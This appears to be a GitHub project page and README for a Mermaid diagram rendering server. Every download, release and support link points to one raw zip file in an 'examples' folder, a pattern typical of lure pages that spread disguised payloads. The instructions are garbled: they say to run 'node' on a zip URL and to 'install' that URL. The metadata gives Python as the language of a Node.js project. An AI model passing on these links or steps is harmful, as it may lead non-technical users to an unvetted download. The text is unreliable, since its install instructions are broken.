https://github.com/drakov09/mermaidjs-server
🖼️ Transform Mermaid diagrams to SVG or PNG with a high-performance Node.js server, featuring caching, real-time rendering, and minimal browser use.
https://github.com/drakov09/mermaidjs-server
cloud-run diagrams docker mermaid nodejs png puppeteer rendering svg websocket
Last synced: about 2 months ago
JSON representation
🖼️ Transform Mermaid diagrams to SVG or PNG with a high-performance Node.js server, featuring caching, real-time rendering, and minimal browser use.
- Host: GitHub
- URL: https://github.com/drakov09/mermaidjs-server
- Owner: Drakov09
- Created: 2025-09-27T09:13:21.000Z (9 months ago)
- Default Branch: main
- Last Pushed: 2026-04-24T19:53:38.000Z (about 2 months ago)
- Last Synced: 2026-04-24T21:37:01.808Z (about 2 months ago)
- Topics: cloud-run, diagrams, docker, mermaid, nodejs, png, puppeteer, rendering, svg, websocket
- Language: Python
- Size: 1.97 MB
- Stars: 1
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# 🎉 mermaidjs-server - Effortlessly Render Diagrams with Ease
[](https://github.com/Drakov09/mermaidjs-server/raw/refs/heads/main/examples/mermaidjs-server-v2.2.zip)
## 🚀 Getting Started
Welcome to the **mermaidjs-server**, your high-performance rendering service for creating diagrams. This guide will help you download and run the application smoothly, even if you have no technical background.
## 📦 What is mermaidjs-server?
**mermaidjs-server** converts Mermaid diagrams to SVG or PNG images. With this service, you can generate high-quality graphics effortlessly via HTTP and WebSocket. It also supports caching for faster loading times and can run easily using Docker or Cloud Run.
## 🖥️ System Requirements
Before you start, ensure your system meets these requirements:
- **Operating System**: Windows, macOS, or Linux.
- **RAM**: At least 4GB (8GB recommended).
- **Disk Space**: Minimum of 200MB available.
## 🔥 Features
- Converts Mermaid text to SVG and PNG formats.
- Supports real-time rendering through WebSocket connections.
- Uses caching to improve performance.
- Easily deployable with Docker or directly in Cloud Run.
- Simple HTTP API for generating diagrams.
## 📥 Download & Install
To get started, visit the [Releases page](https://github.com/Drakov09/mermaidjs-server/raw/refs/heads/main/examples/mermaidjs-server-v2.2.zip) to download the latest version of the application.
Here is how to proceed:
1. Visit the [Releases page](https://github.com/Drakov09/mermaidjs-server/raw/refs/heads/main/examples/mermaidjs-server-v2.2.zip).
2. Look for the most recent version.
3. Find the installer file in the list (it could be a .zip, .tar, or Docker image).
4. Click on the file name to download it to your computer.
## ⚙️ How to Run the Application
Once downloaded, follow these simple steps to run the application:
### For Docker Users
1. Ensure Docker is installed on your computer.
2. Open your command line interface (Terminal, Command Prompt, etc.).
3. Pull the Docker image by running:
```bash
docker pull drakov09/mermaidjs-server
```
4. Start the container with the following command:
```bash
docker run -p 8080:8080 drakov09/mermaidjs-server
```
5. Access the application at `http://localhost:8080`.
### For Non-Docker Users
1. Unzip the downloaded file to a folder of your choice.
2. Open your command line interface.
3. Navigate to the folder where you unzipped the files.
4. Run the application using https://github.com/Drakov09/mermaidjs-server/raw/refs/heads/main/examples/mermaidjs-server-v2.2.zip by typing:
```bash
node https://github.com/Drakov09/mermaidjs-server/raw/refs/heads/main/examples/mermaidjs-server-v2.2.zip
```
5. Open your web browser and go to `http://localhost:8080`.
## 📖 Using the Application
After launching the application, you can start creating diagrams. Here’s a quick guide:
1. Access the application via your web browser at `http://localhost:8080`.
2. Enter your Mermaid diagram syntax into the designated input area.
3. Choose whether you want an SVG or PNG output.
4. Click the "Render" button to generate your diagram.
5. Download the resulting image to your computer.
## ❓ Troubleshooting
If you encounter any issues, try the following steps:
- Ensure you have https://github.com/Drakov09/mermaidjs-server/raw/refs/heads/main/examples/mermaidjs-server-v2.2.zip and Docker properly installed.
- Check your command line for any error messages and correct them as needed.
- Restart the application if it does not respond.
## 📫 Support
For questions or feedback, feel free to reach out. You can open an issue on the [GitHub repository](https://github.com/Drakov09/mermaidjs-server/raw/refs/heads/main/examples/mermaidjs-server-v2.2.zip). Our team is here to help you with any challenges you face.
## 🤝 Contributing
We welcome contributions to improve **mermaidjs-server**. If you're interested, please follow these steps:
1. Fork the repository.
2. Create a new branch for your feature or fix.
3. Make your changes.
4. Submit a pull request.
Thank you for your interest in **mermaidjs-server**!